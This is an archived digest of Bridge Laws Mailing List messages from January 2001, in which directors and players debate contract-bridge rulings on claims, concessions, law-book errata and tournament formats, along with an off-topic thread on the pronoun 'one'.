message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 19 08:32:00 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0ILVhm19047 for bridge-laws-outgoing; Fri, 19 Jan 2001 08:31:43 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp6.mindspring.com (smtp6.mindspring.com [207.69.200.110]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0ILVat19043 for ; Fri, 19 Jan 2001 08:31:37 +1100 (EST) Received: from james (user-2ive4f3.dialup.mindspring.com [165.247.17.227]) by smtp6.mindspring.com (8.9.3/8.8.5) with SMTP id QAA05403; Thu, 18 Jan 2001 16:31:30 -0500 (EST) Message-ID: <001501c08196$51dbf120$e311f7a5@james> From: "Craig Senior" To: , "Grant Sterling" References: <200101181545.KAA23986@freenet10.carleton.ca> <3.0.6.32.20010118120327.007c4280@ux1.cts.eiu.edu> <3.0.6.32.20010118145838.007e8cf0@ux1.cts.eiu.edu> Subject: Re: [BLML] Claim? Date: Thu, 18 Jan 2001 16:33:35 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Actually you have breached the proprieties under 74B2 (and possibly 74A3 and 74B4) as well as, clearly, 74C3 and 74C4. And yes, you hve made a claim; the Law is clear. While it would be absurd to apply it in a friendly kitchen table game, where such kidding around is fine and part of the fun, we are talking about a tournament here. You and your opponent/friends are not the only people in the room. If a club wants to have a "fun night" where rules are loosened that's fine. But it won't fully be duplicate contract bridge. In a serious game, it is absurd to kid around. If that leads to you losing a ruling or some points, it is your own fault. If you don't want to claim, then keep silent rather than saying "oops we missed a slam" or counting the tricks you can take aloud. If you want to kid around, live with it if your partners in comedy suddenly turn grim and put your feet to the fire because of it. You have certainly very much misjudged them, haven't you! They were taking the game much more seriously than you were if they would call the director on such a matter...but they would be legally justified in doing so. (You would not be required to socialize with them after.) Inappropriate comments are subject to penalty regardless of whether there is malicious intent. Keeping your own counsel if penalized much more seldom. As for me, I would probably have laughed and never thought of calling the director. I doubt your friends ever thought of it either. This sounds like a small, friendly local game. I suspect such shenanigans might go on rather frequently in games where "legal beverages" are served and the folks know eath other well. But the laws must apply equally to the national tournament and the Tuesday night duplicate...and they say this is a claim...in plain English. Regards, Craig ----- Original Message ----- From: "Grant Sterling" To: Sent: Thursday, January 18, 2001 3:58 PM Subject: Re: [BLML] Claim? > At 01:25 PM 1/18/2001 -0500, Craig Senior wrote: > >In a serious game, you should have kept silent. In a friendly game among > >close acquaintances I see no problem with overlooking this sort of > >infraction...but we aren't talking about kitchen table bridge here. In any > >sort of a tournament you probably should refrain from such comments as they > >would seem to breach the proprieties if not other laws. I think that as > >director you might do well to set a better example for other players. > > > >Craig > > OK, two points: > a) Even if we grant that my behavior is a breach of the proprieties, > that doesn't make my statement a _claim_. Calling it a claim, regardless of > the precise wording of L68, still strikes me as absurd. Penalize me under > L70 if you like, or invoke L73. It _may_ have been inappropriate > communication of some kind, but it wasn't a claim. > b) I don't think it violates any proprieties, anyway. I was not > attempting illicit communication with my partner, who was dummy. I was > not attempting to intimidate the opponents, confuse or mislead them, > or cause annoyance or embarassment to them. I was not attempting to gain > any advantage at all from my remark, or to interfere in any way with their > enjoyment of the game or with the quality of their play. If anything, it > was to their advantage to know that I didn't have 9 top tricks. > Perhaps I think bridge would be more fun for everyone if it were > more like kitchen table bridge after all. [I agree that I wouldn't have > done it with strangers who might have misunderstood somehow.] > > Respectfully, > Grant Sterling > -- > ================================================================ ======== > (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 19 09:07:46 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0IM6vO01429 for bridge-laws-outgoing; Fri, 19 Jan 2001 09:06:57 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from alpha.netvision.net.il (alpha.netvision.net.il [194.90.1.13]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0IM6nt01376 for ; Fri, 19 Jan 2001 09:06:50 +1100 (EST) Received: from eitan (gcon1-p107.nt.netvision.net.il [62.0.170.107]) by alpha.netvision.net.il (8.9.3/8.8.6) with SMTP id AAA23154 for ; Fri, 19 Jan 2001 00:06:43 +0200 (IST) Message-Id: <3.0.5.32.20010119000139.0087fb50@mail.netvision.net.il> X-Sender: moranl@mail.netvision.net.il X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32) Date: Fri, 19 Jan 2001 00:01:39 +0200 To: bridge-laws@rgb.anu.edu.au From: Eitan Levy Subject: Re: [BLML] 1997 changes to laws, was Law 71: Concession cancelled In-Reply-To: References: <3.0.5.32.20010118145857.00875e90@mail.netvision.net.il> <006b01c0809d$a7528dc0$5713f7a5@oemcomputer> <67378DEA146DD21194C20000F87B08BA01B8B77D@fdwag002s.fd.agro.nl> <3.0.5.32.20010118145857.00875e90@mail.netvision.net.il> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 12:11 18/01/2001 -0500, you wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > >Eitan Levy writes: > >> According to my notes, the change/clarification was made by the Laws >>Committee (in Hammamet in 1997, I think). It was communicated to BLML and I >>remember there was some discussion on it, ending with something like, _In >>other words should we delete the second sentence?_ and Grattan(?) or Ton >>(?) answering, _Yes, in effect the second sentence is deleted_. >> >>The official explanation given at the time was: >>quote ..The director is to cancel an implausible concession, as defined in >>Law 71C, at any time within the Law 79C correction period... unquote. >> >>There were two other changes made at the same time, and you might want to >>check if you have these: >> >>1. Definitions : Convention. An asterix was added at the end of (or in the >>last denomination named *), and the footnote reads: * the denomination in >>which the contract would be played were all the players to pass following >>the call in question. >> >>The explanation for this was: "the parenthesis applies when the main text >>is not applicable, i.e. in cases of "pass", "double" and "redouble"." >> >>2. LAW 17D >>The asterix was moved from _.........normally*_ to _......any significant >>way from his cancelled call *.__ >> > >Interesting. I have three copies of the ACBL version of the 1997 >laws, all ordered at the same time from the same vendor (either the >ACBL or Baron Barclay, I don't remember which). *One* of them came >with an errata page. *None* of them contain either of the first two >changes mentioned, but they *all* contain the third, the change to >Law 17D - in the book, not on the errata page. Does the ACBL, at >least, have an editing problem? > >Regards, > >Ed > Even more interesting. MY copy of the ACBL laws, ordered directly from the ACBL and I suppose the first printing, contains none of these changes. Law 17D appears in its old form, with the asterix in the incorrect place. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 19 09:18:56 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0IMIjf05645 for bridge-laws-outgoing; Fri, 19 Jan 2001 09:18:45 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailhub.irvine.com (larry-rp.irvine.com [63.206.153.98]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0IMIbt05602 for ; Fri, 19 Jan 2001 09:18:38 +1100 (EST) Received: from calvin.irvine.com (IDENT:adam@calvin.irvine.com [192.160.8.21]) by mailhub.irvine.com (8.9.3/8.9.3) with ESMTP id OAA27032; Thu, 18 Jan 2001 14:16:24 -0800 Message-Id: <200101182216.OAA27032@mailhub.irvine.com> To: bridge-laws@rgb.anu.edu.au CC: adam@irvine.com Subject: Re: [BLML] Claim? In-Reply-To: Your message of "Thu, 18 Jan 2001 15:19:02 CST." <021001c08194$489d86c0$0dc188d1@kay> Date: Thu, 18 Jan 2001 14:16:23 -0800 From: Adam Beneschan Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Nelson Ford wrote: > > Unfortunately, this apsect of the law doesn't seem to be widely known. > > In this case, I'd be trying to penalize someone whose only offense is > > not scrutinizing the Lawbook to the same degree that we on BLML do. > > The club where I direct has a substantial number of Life Masters, > very few (if any) of whom have more than a surface knowledge > of any of the Laws (which is what prompted me to create the > list at http://www.hsbridge.com/broken-rules.htm). > > If we do not enforce a Law because it is not widely known, there > is little in the Law book which I *could* enforce. Yeah, I knew someone respond with something like this . . . Please keep in mind that my post was written not from a Director's point of view, but rather from a player's. If it's agreed that this interpretation of the Law is the correct one, then if the Director is called, I think the Director has little choice but to enforce the Law. However, the Director isn't going to enforce the laws if players don't call him in the first place. I'm certainly going to call the Director about an infraction, even if the opponents might not be aware they're committing an infraction, if: (1) they *should* know, or can reasonably be expected to know, that what they're doing is illegal, or (2) the infraction may have damaged my side's interests in any way. If neither (1) nor (2) applies, however, then why would I bother to call the Director, except to try to gain an unearned advantage over someone who doesn't know about some obscure Law? No, thanks, I don't want to play that way. -- Adam -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 19 09:30:59 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0IMUlM10099 for bridge-laws-outgoing; Fri, 19 Jan 2001 09:30:47 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mail2.panix.com (mail2.panix.com [166.84.0.213]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0IMUet10060 for ; Fri, 19 Jan 2001 09:30:41 +1100 (EST) Received: by mail2.panix.com (Postfix, from userid 130) id D2DC98EEB; Thu, 18 Jan 2001 17:27:12 -0500 (EST) Mime-Version: 1.0 X-Sender: adamw@popserver.panix.com Message-Id: Date: Thu, 18 Jan 2001 17:27:06 -0500 To: bridge-laws@rgb.anu.edu.au From: Adam Wildavsky Subject: [BLML] Three-way matches with two survivors Cc: Jeff Rubens Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Edgar Kaplan wrote many articles over the years decrying the evils of three-way matches with two survivors. The problem is a moral one, sometimes called "sportsmanlike dumping" - I won't describe it unless someone insists. Suffice it to say that (as usual) I agree with Edgar. Unfortunately, for certain numbers of teams (say 12) three-way matches with two survivors offer enticing practical advantages, especially if the tournament organizers are unwilling to award first round byes. I can see two ways around the problem. One we've adopted in New York is, for single session matches, dispensing with the half-time comparison. This may not prove popular with the players, but at least it will tend to get the session with over sooner! This doesn't work for matches of more than a single session. I've thought of a possible solution, though. We can have the top scoring team (based on the usual criteria, two wins or highest IMP quotient) drop out at half-time! An alternative might be to have a team drop out at half-time only if it's ahead in both matches. The main benefit is that we avoid situations involving potential sportsmanlike dumping. One drawback is that we'll collect less in card fees. Has anyone tried this? Can anyone suggest other potential benefits and drawbacks? AW -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 19 09:55:15 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0IMt1I18787 for bridge-laws-outgoing; Fri, 19 Jan 2001 09:55:01 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from email.seznam.cz (smtp.im.cz [195.39.10.4]) by rgb.anu.edu.au (8.10.2/8.10.2) with SMTP id f0IMsnt18727 for ; Fri, 19 Jan 2001 09:54:50 +1100 (EST) Received: (qmail 17743 invoked from network); 18 Jan 2001 23:13:50 -0000 Received: from datelc-199.dialup.vol.cz (HELO pj) (212.20.103.200) by smtp.im.cz with SMTP; 18 Jan 2001 23:13:50 -0000 From: "Petr Jelinek" To: "Bridge Laws" Subject: [BLML] Players making rulings by themselves Date: Thu, 18 Jan 2001 23:58:49 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-2" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Last night I came to a delayed table to ask them to hurry up. Players noted me and as I was leaving I heard from the table player saying: "I will forbid a spade lead." There had been a lead OOT. 1) Am I to start giving ruling? (Seems funny - the player would forbid a spade lead turning me into a clown.) I just cancelled any penalty.. 2) Am I to apply PP? (they ignored TD even when TD was at the table a moment before) Thanks -- Petr Jelinek Mail me: mailto:pje@seznam.cz Prague, Czech Rep. Meet me: on Zone jelly_cz on e-bridge jelly -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 19 09:55:17 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0IMt1K18789 for bridge-laws-outgoing; Fri, 19 Jan 2001 09:55:01 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from email.seznam.cz (smtp.im.cz [195.39.10.4]) by rgb.anu.edu.au (8.10.2/8.10.2) with SMTP id f0IMsnt18726 for ; Fri, 19 Jan 2001 09:54:50 +1100 (EST) Received: (qmail 17745 invoked from network); 18 Jan 2001 23:13:52 -0000 Received: from datelc-199.dialup.vol.cz (HELO pj) (212.20.103.200) by smtp.im.cz with SMTP; 18 Jan 2001 23:13:52 -0000 From: "Petr Jelinek" To: "Bridge Laws" Subject: RE: [BLML] Escape sequences Date: Thu, 18 Jan 2001 23:58:51 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-Reply-To: <3A65803C.DE757129@village.uunet.be> X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > -----Original Message----- > From: owner-bridge-laws@rgb.anu.edu.au > [mailto:owner-bridge-laws@rgb.anu.edu.au]On Behalf Of Herman De Wael > Sent: Wednesday, January 17, 2001 12:22 PM > To: Bridge Laws > Subject: Re: [BLML] Escape sequences > > > Hello Petr, > > seems like your first message - welcome to the list. > > BTW, don't take this reply personally, I am merely > commenting on, not directly in reply to your post. You are right BTW, don`t worry I know I am here to learn. > Petr Jelínek wrote: > > > > > > > Anyway, he takes his guess, > > > and there is nothing tu suggest he has been helped in his > decision. Of > > > course, if the 4NT bid was audibly slammed, it is a horse of a very > > > different color (slamming is less slammish, huh ?). Same if > there was a > > > long time before 4NT came back, or if some burble was audible > > > from the ther > > > side of the screen. > > > > I believe that it is so obvious that it should be allowed even without > > screens (seeing partner`s Alert) - isn`t 4S revealing enough? > 4NT cannot be > > constructive (see above) so no infraction by opener either. > > > > The question I was putting was not "is this allowed" in the > sense of UI. > I agree with, among others, Petr, that there is no UI in > this instance, and I might even admit that 4NT would be > without LA, even if there were UI (as when playing without > screens). > > The question I was putting was "is this allowed" in some > sense of admissible systems. > I remember a discussion, not on blml, about a call of 4Di > which simply meant "partner, I have forgotten the system, > please make the final call". > > Some people believe this type of system is not allowed, some > say it should not be. > > Opinions ? Is there any other reason for not allowing it except of "the first bid of the sequence should have been explained as e.g. FG with 4+ hearts or anything else which would be revealed by 4D bid later" ? > -- > Best wishes for the New Millennium !! > Herman DE WAEL > Antwerpen Belgium > http://www.gallery.uunet.be/hermandw/index.html > > > -- > ======================================================================== > (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ > -- Petr Jelinek Mail me: mailto:pje@seznam.cz Prague, Czech Rep. Meet me: on Zone jelly_cz on e-bridge jelly -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 19 10:30:09 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0INTbv23686 for bridge-laws-outgoing; Fri, 19 Jan 2001 10:29:37 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from technetium.cix.co.uk (technetium.cix.co.uk [194.153.0.53]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0INTVt23682 for ; Fri, 19 Jan 2001 10:29:32 +1100 (EST) Received: (from cix@localhost) by technetium.cix.co.uk (8.11.2/8.11.2) id f0INTN229873 for bridge-laws@rgb.anu.edu.au; Thu, 18 Jan 2001 23:29:23 GMT X-Envelope-From: twm@cix.compulink.co.uk Date: Thu, 18 Jan 2001 23:29 +0000 (GMT) From: twm@cix.compulink.co.uk (Tim West-meads) Subject: Re: [BLML] Let's get back to the easy stuff To: bridge-laws@rgb.anu.edu.au Cc: twm@cix.compulink.co.uk Reply-To: twm@cix.compulink.co.uk Message-Id: Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In-Reply-To: DWS wrote: > This is based on your knowledge that you opened 1S OOT, and then > withdrew that 1S bid. **But L16C2 says that the 1S is unauthorised > to your _side_, so the 1S bid is unauthorised information to you.** While being authorised that partner may suffer lead penalties if you do not bid spades! Bridge is tough enough without trying to pin-dancing angels. > If you rebid the spades, and do not mention the hearts, do we > adjust the score because bidding the hearts is an LA, as > mentioned in L16C? > > Hehe. But it's not really very funny after all. If we are going to have mechanical penalties then why can't we let them be just that (at worst with the revoke-type modifier (if damage *from the infraction* exceeds the penalty then..). Mechanical penalties are supposed to benefit the game by making rulings easy and simple to understand for TDs and players alike. UI rulings are intended as "fairer" but are more complex and time-consuming. Combining mechanical and judgement penalties in these situations seems to get the worst aspects of each approach. After all if 1S is UI the opponents are protected against damage regardless of whether partner is barred or not. Tim West-Meads -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 19 10:45:19 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0INixN23703 for bridge-laws-outgoing; Fri, 19 Jan 2001 10:44:59 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from scooby.lineone.net (doggy.lineone.net [194.75.152.224]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0INirt23699 for ; Fri, 19 Jan 2001 10:44:54 +1100 (EST) Received: from dodona (host62-6-100-170.dialup.lineone.co.uk [62.6.100.170]) by scooby.lineone.net (8.9.3/8.9.3) with SMTP id XAA11362 for ; Thu, 18 Jan 2001 23:44:29 GMT Message-ID: <000601c081a8$e12103e0$aa64063e@dodona> From: "Grattan Endicott" To: References: <200101181545.KAA23986@freenet10.carleton.ca> Subject: Re: [BLML] Claim? Date: Thu, 18 Jan 2001 22:03:20 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Grattan Endicott "Following a nuclear attack on the United States the U.S. Postal Service plans to distribute Emergency Change of Address Cards." - Executive Order 11490 of the US Federal Emergency Management Agency. <===> ----- Original Message ----- From: A. L. Edwards To: Sent: Thursday, January 18, 2001 3:45 PM Subject: Re: [BLML] Claim? > > No, despite L68(a). Declarer is talking to *partner*, not telling > the opps that he's taking any # of tricks. However, such a statement > is improper: L73(f)2, and L74(a)2. > Tony (aka ac342) > -- +=+ 68A - 'Any statement' is not confined in this law to those alone that are addressed to opponents. On the whole I do not think it should be since we need to safeguard against coffee-housing. ~ Grattan ~ +=+ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 19 10:45:29 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0INjNi23711 for bridge-laws-outgoing; Fri, 19 Jan 2001 10:45:23 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from scooby.lineone.net (doggy.lineone.net [194.75.152.224]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0INjEt23705 for ; Fri, 19 Jan 2001 10:45:14 +1100 (EST) Received: from dodona (host62-6-100-170.dialup.lineone.co.uk [62.6.100.170]) by scooby.lineone.net (8.9.3/8.9.3) with SMTP id XAA11347; Thu, 18 Jan 2001 23:44:27 GMT Message-ID: <000501c081a8$e01c1700$aa64063e@dodona> From: "Grattan Endicott" To: "Nelson/Kay Ford" , "Norman Scorbie" , References: <003f01c0814b$231e6a20$0dc188d1@kay> Subject: Re: [BLML] We, one, and The Princess Royal's dilemma... Date: Thu, 18 Jan 2001 21:57:24 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Grattan Endicott "Following a nuclear attack on the United States the U.S. Postal Service plans to distribute Emergency Change of Address Cards." - Executive Order 11490 of the US Federal Emergency Management Agency. <===> ----- Original Message ----- From: Nelson/Kay Ford To: Norman Scorbie ; Sent: Thursday, January 18, 2001 12:35 PM Subject: Re: [BLML] We, one, and The Princess Royal's dilemma... > It is also correct to use "one" for first-personal singular if > you are a robot. For proof, I offer the movie: "Bicentennial > Man". > > One is pleased to be of service. > +=+ Robots are singularly endowed.+=+ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 19 11:30:07 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0J0TcA24251 for bridge-laws-outgoing; Fri, 19 Jan 2001 11:29:38 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from hotmail.com (f88.law3.hotmail.com [209.185.241.88]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0J0TWt24218 for ; Fri, 19 Jan 2001 11:29:32 +1100 (EST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Thu, 18 Jan 2001 16:29:24 -0800 Received: from 134.134.248.29 by lw3fd.law3.hotmail.msn.com with HTTP; Fri, 19 Jan 2001 00:29:24 GMT X-Originating-IP: [134.134.248.29] From: "Todd Zimnoch" To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] We, one, and The Princess Royal's dilemma... Date: Thu, 18 Jan 2001 16:29:24 -0800 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 19 Jan 2001 00:29:24.0316 (UTC) FILETIME=[DFAA81C0:01C081AE] Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk >From: "Grattan Endicott" >----- Original Message ----- >From: Nelson/Kay Ford > > It is also correct to use "one" for first-personal singular if > > you are a robot. For proof, I offer the movie: "Bicentennial > > Man". > > > > One is pleased to be of service. > > >+=+ Robots are singularly endowed.+=+ One often takes liberty for the sake of juxtaposition without actually having to use "I" and "they". "By 25, one understands the difference between frigidity and a bad lay. Vanilla and Rocky-Road. Victoria's Secret and Fredricks of Hollywood. Polyester and Clothing. Bach and Bon Jovi. "OR. "One is hopelessly American, tastelessly middle-class, and unabashedly straight." I could explain the situation, but the first "one" is meant to represent the author. The second one allows contrast and generality. For what it's worth, this use came from a Kenyan who's lived in the US about 5 years, so he grew up with Imperial English. A use my more prim and proper grade school teachers were fond of is using "one" in the 1st person to imply that others should follow suit. "One should do this or that like so." (while gesticulating the example) I'd wager that if you read Judith Martin's column that you'll encounter "one" as the 1st person eventually. -Todd _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 19 12:44:28 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0J1htd17732 for bridge-laws-outgoing; Fri, 19 Jan 2001 12:43:55 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from swarm.mosquitonet.com (swarm.mosquitonet.com [206.129.11.16]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0J1hlt17689 for ; Fri, 19 Jan 2001 12:43:47 +1100 (EST) Received: from bigbyte.mosquitonet.com (bigbyte.mosquitonet.com [206.129.11.2]) by swarm.mosquitonet.com (8.9.1/8.9.3) with SMTP id QAA18751 for ; Thu, 18 Jan 2001 16:58:09 -0900 Date: Thu, 18 Jan 2001 16:44:09 -0900 (AKST) From: Gordon Bower To: Bridge Laws Mailing List Subject: Re: [BLML] We, one, and The Princess Royal's dilemma... In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk On Thu, 18 Jan 2001, Todd Zimnoch wrote: > > "By 25, one understands the difference between > frigidity and a bad lay. Vanilla and Rocky-Road. > Victoria's Secret and Fredricks of Hollywood. > Polyester and Clothing. Bach and Bon Jovi. > > "OR. > > "One is hopelessly American, tastelessly middle-class, > and unabashedly straight." > > I could explain the situation, but the first "one" is meant to > represent the author. The second one allows contrast and generality. For > what it's worth, this use came from a Kenyan who's lived in the US about 5 > years, so he grew up with Imperial English. > > A use my more prim and proper grade school teachers were fond of is > using "one" in the 1st person to imply that others should follow suit. "One > should do this or that like so." (while gesticulating the example) Sorry, I do not follow you. Grammatically it is straight off-the-shelf third person speech. It stands in nicely for "a person, any person" and avoids having to say "he should" when the speaker doesn't want his listeners to assume the advice is directed only at males. In this particular example, the teacher was squirming free of using the *second* person by not saying "you should...", presumably to say "this is such a great idea that not just YOU but EVERYONE should..." There isn't the slightest hint that the teacher was trying to say "I should...."; the teacher is telling her as-large-as-possible audience about something she already does and wishes they would start doing too. > I'd wager that if you read Judith Martin's column that you'll encounter > "one" as the 1st person eventually. > I can't recall it ever happening in the time I've read her column. (Actually she's let a few "someone...their" mismatches slip through. She does use 'one' from time to time but have never seen it abused.) "One" is pure third person. "A typical person." Sometimes it carries the implication of "a typical person such as you are" (your teacher example), but it isn't a second-person pronoun. Sometimes it carries implication of "a typical person such as I am" (your Kenyan), but it isn't a first-person pronoun. I use it extensively to avoid he/she/they issues. Now, something like the "One enjoyed one's trip" (when the speaker is the only person who has just returned from a trip, and isn't talking about a number of people who may have gone on trips and enjoyed them) is a gross distortion. Aside from the alleged royal quotations, that particular misuse isn't one that I have ever run into. Uh-oh ... I am about to post something without any bridge content whatsoever. Let me see what I can do about that: How many points does declarer count for a singleton in a side suit after finding a trump fit? One adds two points for shortness to one's prior HCP-and-length total. [The typical beginner who paid attention during the Club series.] You thought it was worth two points before and now upgrade it to three. [Spoken to a little old lady in my club who learned from Goren's 1955 edition.] He adds five, because it is worth as much as KQ in that suit would have been. [Spoken during a discussion of a book by Marshall Miles that I've recently read.] I count tricks. You should too. One should too. He probably does too. GRB As for the Princess Royal's dilemma --- it was trying to avoid being blown in half by SMS Derfflinger at the Battle of Jutland like Queen Mary was, wasn't it? 